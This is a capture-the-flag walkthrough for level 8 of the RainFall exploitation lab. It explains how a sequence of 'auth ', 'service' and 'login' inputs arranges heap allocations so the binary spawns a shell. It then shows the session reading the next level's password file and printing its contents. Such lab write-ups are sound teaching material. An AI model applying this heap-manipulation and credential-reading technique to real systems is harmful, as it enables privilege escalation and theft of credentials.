➜ ~ ssh level8@127.0.0.1 -p 4242
_____ _ ______ _ _
| __ \ (_) | ____| | | |
| |__) |__ _ _ _ __ | |__ __ _| | |
| _ / _` | | '_ \| __/ _` | | |
| | \ \ (_| | | | | | | | (_| | | |
|_| \_\__,_|_|_| |_|_| \__,_|_|_|
Good luck & Have fun
To start, ssh with level0/level0 on 10.0.2.15:4242
level8@127.0.0.1's password:
GCC stack protector support: Enabled
Strict user copy checks: Disabled
Restrict /dev/mem access: Enabled
Restrict /dev/kmem access: Enabled
grsecurity / PaX: No GRKERNSEC
Kernel Heap Hardening: No KERNHEAP
System-wide ASLR (kernel.randomize_va_space): Off (Setting: 0)
RELRO STACK CANARY NX PIE RPATH RUNPATH FILE
No RELRO No canary found NX disabled No PIE No RPATH No RUNPATH /home/user/level8/level8
level8@RainFall:~$level8@RainFall:~$ ./level8
(nil), (nil)
Rob Lucci
(nil), (nil)
Hattori
(nil), (nil)
^C
level8@RainFall:~$ ./level8 'Garp solo Blackbeard Crew'
(nil), (nil)
^C
level8@RainFall:~$This program is not like the others...
- 2 global variables :
char *authandchar *service(code lines 4 and 5) - a variable
sthat will store our input with a buffer of 5 bytes - The main was an infinite loop that read the input
- It prints the address of these 2 global variables
breakiffgetsreturnsNULL, and attribute our input to the variables- If the input starts with
"auth ", it allocates memory forauthand copies the input (excluding"auth ") into it - If the input starts with
"reset", it frees the memory allocated forauth - If the input starts with
"service", it allocates memory forserviceand copies the input (excluding"service") into it - If the input starts with
"login", it checks ifauthis notNULLand if the 8th byte ofauthis not0 - If both conditions are met, a
shellis spawned - Otherwise, it prints
"Password:\n" - The program continues to loop, reading and processing input until it is terminated
- First, we will pass
"auth "to allocate memory forauthfor complete the condition at line 19. AND DON'T FORGET THESPACEAT THE END OF"auth " - Second, we will pass
"service"to allocate memory forservicejust after theauthallocation in the heap. For each allocation in the heap, it it will be placed just after the last one.
---> Now, we have something for auth[0] to auth[4]
- Third, we will pass
"service"again for the same reason as the second step.
---> We have something for auth[0] to auth[8] minimum
- Finally, we will pass
"login"to spawn a shell ifauth[8]is not0, and this is our case.
Let's do it !
level8@RainFall:~$ ./level8
(nil), (nil)
auth # Don't forget the SPACE character at the end
0x804a008, (nil)
service
0x804a008, 0x804a018
service
0x804a008, 0x804a028
login
$ whoami
level9
$ Let's get the flag !
$ cat /home/user/level9/.pass
c542e581c5ba5162a85f767996e3247ed619ef6c6f7b76a59435545dc6259f8a
$
0x804a008, 0x804a028
level8@RainFall:~$And go to the next level !
level8@RainFall:~$ su level9
Password:
RELRO STACK CANARY NX PIE RPATH RUNPATH FILE
No RELRO No canary found NX disabled No PIE No RPATH No RUNPATH /home/user/level9/level9
level9@RainFall:~$
